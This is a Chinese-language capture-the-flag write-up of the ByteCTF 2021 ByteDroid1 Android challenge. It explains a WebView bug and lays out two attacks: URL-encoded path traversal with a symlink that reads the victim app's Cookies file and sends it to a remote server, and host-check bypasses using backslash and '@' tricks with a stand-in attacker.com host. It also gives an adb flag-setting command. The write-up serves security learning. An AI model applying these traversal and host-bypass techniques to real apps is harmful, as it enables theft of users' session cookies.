type
status
date
slug
summary
tags
category
icon
password
一、漏洞APP分析1. AndroidManifest.xml2. MainActivity3.FlagRecevier二、攻击APP构造1. 攻击方案一:URLencode配合getPathSegments实现路径穿越2. 攻击方案二:CVE-2017-13274 3. APP完整源码(攻击方案一 )3. 攻击结果三、总结参考
一、漏洞APP分析
1. AndroidManifest.xml
AndroidManifest
只声明了一个导出的MainActivity
和一个非导出的FlagReceiver
,FlagReceiver
用于设置Flag2. MainActivity
MainActivity
中先检查APP数据目录下/cache文件夹下是否有index.html
,如果没有则解压资源文件中的game.zip
到cache
目录实现WebView离线加载
,然后就会接受getIntent().getData()
如果没拿到或者没通过host
和scheme
的校验则设置为指定的index.html
如果通过校验则被webview加载,然后被
shouldInterceptRequest
拦截到后再次验证,先是使用getPathSegments
对路径进行分段,对第一段内容和最后一断后缀进行校验,如果通过则通过InputStream
读取内容并且通过return new WebResourceResponse(null, "utf-8", ItemTouchHelper.Callback.DEFAULT_DRAG_ANIMATION_DURATION, "OK", headers, inputStream)
返回,实现离线加载的效果。3.FlagRecevier
FlagReceiver
就是接收广播设置flag的接收器,搭建环境时通过adb shell su root am broadcast -W -a com.bytectf.SET_FLAG -n com.bytectf.bytedroid1/.FlagReceiver -e flag "flag{happy_hack}"
设置flag二、攻击APP构造
1. 攻击方案一:URLencode
配合getPathSegments
实现路径穿越
- 首先就要想到绕过第一层校验,让
WebView
实际加载恶意的html,可以通过路径穿越绕过,加载Attacker App内部存储的html文件。因为MainActivity中有一个List<String> pathSegments = uri.getPathSegments();
实际就是对路径进行切分,然后decode。如果不进行URL编码,那么路径穿越中间部分的../
都会在WebView进行加载时被去除,从而使得在shouldInterceptRequest
拦截到后的url中不含有返回上一级目录的url部分,从而失败,但是由于存在getPathSegments
就可以先编码,然后解码之后成功实现路径穿越。
![notion image](https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fe1f5c5ec-b455-4259-9550-49384622f569%2FUntitled.png?table=block&id=381ce682-1aaa-44e3-bd1d-bafecd7d4601&t=381ce682-1aaa-44e3-bd1d-bafecd7d4601&width=721&cache=v2)
- 这里的
evil.html
实际是访问的攻击APP数据目录下的恶意html,要实现的功能就是访问http://bytectf.toutiao.com/local_cache/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%2Fdata/data/com.bytectf.pwnbytedroid1/files/symlink.html
,从而再次被拦截后路径穿越,访问到symlink.html
,它指向被攻击APP数据目录下/app_webview/Cookies
文件,从而导致Cookies泄露并且将结果传送到远程。
2. 攻击方案二:CVE-2017-13274
"special" URL schemes (which is basically all commonly-used hierarchical schemes, including http, https, ftp, and file), the host portion ends if a \ character is seen, whereas this class previously continued to consider characters part of the hostname.
也就是说反斜杠\
在CVE-2017-13274完成修复后会被视为Host
的结束,而非Host
的一部分。也就是说可以通过构造
http://attacker.com\\.app.toutiao.com/bytedroid1.html
这样的路径来绕过Host
的检测,使其直接访问远程的bytedroid1.html
,远程此时就可以通过路径穿越读取Cookies,前提也是要创建好symlink.html
,后面本质与方案一没什么区别,就不展开了扩展:如果使用
equal
校验完整的Host
,可以使用@
进行分割:![notion image](https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Ff2f70478-2825-4852-8bb7-260dd00e529b%2FUntitled.png?table=block&id=f140441e-e916-439f-9eae-2aeca6468cb2&t=f140441e-e916-439f-9eae-2aeca6468cb2&width=1245&cache=v2)
可以看到是可以绕过的,而且访问了我们的恶意host服务器下
.toutiao.com
目录下的html
![notion image](https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F66b9b4c8-8efc-487b-a2c8-ca838b47e8db%2FUntitled.png?table=block&id=386ae5f0-b256-4f7d-ae25-527cd85764e8&t=386ae5f0-b256-4f7d-ae25-527cd85764e8&width=1484&cache=v2)
给出
bytedroid1.html
的源码![notion image](https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2Fcb6723bf-15a9-45a9-aac1-47e0df7a7484%2FUntitled.png?table=block&id=f64b3e81-f482-47f1-8133-994c6440e32c&t=f64b3e81-f482-47f1-8133-994c6440e32c&width=1639&cache=v2)
除此之外还可以通过HierarchicalUri绕过,但是在这先不写了,后面HardDroid的时候再详细说明
3. APP完整源码(攻击方案一 )
MainActivity.java
3. 攻击结果
由于FlagRecevier设置Cookies需要一段时间,所以最好延时40s后启动实际的攻击流程
![notion image](https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F10225927-13dd-4fc2-a645-fea710da443a%2FUntitled.png?table=block&id=caa3f9ce-6d26-4fdd-82f3-cab6232b8883&t=caa3f9ce-6d26-4fdd-82f3-cab6232b8883&width=860&cache=v2)
![notion image](https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F34c1de0a-b302-4ef9-8051-f6b94321fcb0%2FUntitled.png?table=block&id=d123abdf-9a8c-4f1b-be9c-18cda41f54f1&t=d123abdf-9a8c-4f1b-be9c-18cda41f54f1&width=1646&cache=v2)
三、总结
![notion image](https://www.notion.so/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F6b8ed4d3-46b7-480c-8c4a-77d25670658e%2FUntitled.png?table=block&id=30b1deab-d12f-40cb-a309-9f389ff28b3a&t=30b1deab-d12f-40cb-a309-9f389ff28b3a&width=819&cache=v2)
参考
- 作者:LLeaves
- 链接:https://lleavesg.top//article/ByteCTF-2021-ByteDroid1
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
相关文章